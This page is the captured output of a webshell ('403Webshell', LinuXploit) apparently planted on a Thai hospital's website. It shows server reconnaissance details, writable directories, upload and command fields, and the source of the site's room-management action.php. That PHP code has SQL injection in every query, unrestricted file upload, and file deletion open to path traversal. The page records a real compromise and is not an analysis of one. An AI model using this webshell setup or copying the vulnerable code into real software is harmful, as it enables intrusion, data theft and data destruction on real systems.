403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/room/rooms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/room/rooms/action.php
<?php
session_start();
error_reporting (E_ALL ^ E_NOTICE);
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
if ($_SESSION['status']!='admin') {
	echo "<script>alert('session ผิดผลาด'); window.location ='../index.php';</script>";
	exit();
} else {
include '../connect.php';    
}
//เพิ่มข้อมูล
if ($_GET['action']=='add'){
	if($_FILES["Upload"]["name"] != "")
        {			
			$filename = basename($_FILES["Upload"]["name"]);
        	move_uploaded_file($_FILES["Upload"]["tmp_name"],"../images/".$filename);
        }
		$meSQL = "INSERT INTO tb_rooms (image_rooms,name_rooms,people_rooms,detail_rooms,color_rooms) VALUES ('".$filename."','".$_POST["Name"]."','".$_POST["People"]."','".$_POST["Detail"]."','".$_POST["Color"]."')";
		$meQuery = $conn->query($meSQL);		
		
		if ($meQuery == TRUE) {
			echo "<script>alert('เพิ่มข้อมูลเสร็จเรียบร้อยแล้ว'); window.location ='../index.php?page=setrooms';</script>";
        } else {
			echo "<script>alert('มีปัญหาการบันทึกข้อมูล กรุณากลับไปบันทึกใหม่');history.back(-1);</script>";
			exit();
        
		}		
}

//แก้ไขข้อมูล
if ($_GET['action']=='edit'){
	if($_FILES["Upload"]["name"] != "")
        {
			        		//*** Delete Old File ***//
        	@unlink("../images/".$_POST["hdnOldFile"]);
			$filename = basename($_FILES["Upload"]["name"]);	
        	move_uploaded_file($_FILES["Upload"]["tmp_name"],"../images/".$filename);     	
        }
		else{
			$filename = $_POST['hdnOldFile'];
		}
$meSQL = "UPDATE tb_rooms ";
$meSQL .="SET image_rooms='$filename',"
. "name_rooms='{$_POST['Name']}',"
. "people_rooms='{$_POST['People']}',"
. "detail_rooms='{$_POST['Detail']}',"
. "color_rooms='{$_POST['Color']}' ";
$meSQL .= "WHERE id_rooms='{$_POST['id']}' ";
$meQuery = $conn->query($meSQL);			
	if ($meQuery == TRUE) {
		echo "<script>alert('บันทึกข้อมูลเรียบร้อยแล้ว');window.location ='../index.php?page=setrooms'; </script>";
        } else {
		echo "<script>alert('มีปัญหาการบันทึกข้อมูล กรุณากลับไปบันทึกใหม่');history.back(-1);</script>";
		exit();
        }
}	

//ลบข้อมูล
if ($_GET['action']=='delete'){
	if($_GET["image"] != "")
        {			        		//*** Delete Old File ***//
        	@unlink("../images/".$_GET["image"]);   	
        }
        $meSQL = "DELETE FROM tb_rooms ";
        $meSQL .= "WHERE id_rooms='{$_GET['id']}' ";
        $meQuery = $conn->query($meSQL);
        if ($meQuery == TRUE) {
			echo "<script>alert('ลบข้อมูลสำเร็จ'); window.location ='../index.php?page=setrooms';</script>";
        } else {
			echo "<script>alert('มีปัญหาการลบข้อมูล '); history.back(-1);</script>";
			exit();
        }
}

if(isset($_REQUEST['action']) and $_REQUEST['action']=="updateSortedRows"){
	$newOrder	=	explode(",",$_REQUEST['sortOrder']);
	$n	=	'1';
	foreach($newOrder as $id){
		$conn->query('UPDATE tb_rooms SET position="'.$n.'" WHERE id_rooms="'.$id.'" ');
		$n++;
	}
}

$conn->close();
?>


Youez - 2016 - github.com/yon3zu
LinuXploit